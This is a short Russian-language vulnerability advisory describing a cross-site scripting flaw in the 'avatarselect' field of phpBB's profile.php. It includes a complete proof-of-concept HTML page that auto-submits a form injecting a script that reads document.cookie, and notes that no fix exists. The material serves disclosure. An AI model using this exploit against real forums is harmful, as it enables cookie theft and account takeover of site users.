Межсайтовый скриптинг в 'avatarselect' в phpBB 'profile.php'

Описание: Уязвимость обнаружена в phpBB в 'profile.php'. Удаленный пользователь может выполнить XSS нападение.

Пример/Эксплоит:

-------------exploit.htm--------------
  <form name='f' action="http://site/profile.php?mode=editprofile" method="post">
  <input name="avatarselect" value='" ><script>alert(document.cook
ie)</script>'>
  <input type="submit" name="submitavatar" value="Select avatar">
  </form>
  <script>
  window.onload=function()
   {
    document.all.submitavatar.click();
   }
  </script>
  ---------------end-------------------

URL производителя: http://www.phpbb.com/

Решение:Способов устранения обнаруженной уязвимости не существует в настоящее время.